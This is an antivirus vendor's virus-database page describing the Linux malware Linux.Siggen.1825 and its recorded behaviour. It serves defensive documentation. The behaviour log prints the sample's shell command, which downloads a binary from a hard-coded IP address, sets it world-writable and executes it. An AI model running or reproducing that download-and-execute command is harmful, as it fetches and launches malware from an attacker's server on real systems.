Bibliothèque
Ma bibliothèque

+ Ajouter à la bibliothèque

Contacter-nous !
Support 24/24 | Rules regarding submitting

Nous téléphoner

0 825 300 230

Forum

Vos requêtes

  • Toutes : -
  • Non clôturées : -
  • Dernière : le -

Nous téléphoner

0 825 300 230

Profil

Linux.Siggen.1825

Added to the Dr.Web virus database: 2019-06-09

Virus description added:

Technical Information

Malicious functions:
Removes itself
Launches processes:
  • /bin/sh -c wget http://185.244.25.160/hahdshd73ahshds73/ugei10; chmod 777 *; ./ugei10 wget.m68k; curl -O http://185.244.25.160/hahdshd73ahshds73/ugei10; chmod 777 *; ./ugei10 curl.m68k;
  • wget http://185.244.25.160/hahdshd73ahshds73/ugei10
  • chmod 777 run.sh stdout.log ugei10
  • ./ugei10 wget.m68k
  • /bin/sh ./ugei10 wget.m68k
  • ./ugei10 curl.m68k
  • /bin/sh ./ugei10 curl.m68k
Performs operations with the file system:
Modifies file access rights:
  • /root/run.sh
  • /root/ugei10
Creates or modifies files:
  • /root/ugei10
Network activity:
HTTP GET requests:
  • 18#.###.##.160/hahdshd73ahshds73/ugei10

Recommandations pour le traitement


Linux

Veuillez lancer le scan complet de toutes les partitions du disque à l'aide de Dr.Web Antivirus pour Linux.

Version démo gratuite

Pour 1 mois (sans enregistrement) ou 3 mois (avec enregistrement et remise pour le renouvellement)

Télécharger Dr.Web

Par le numéro de série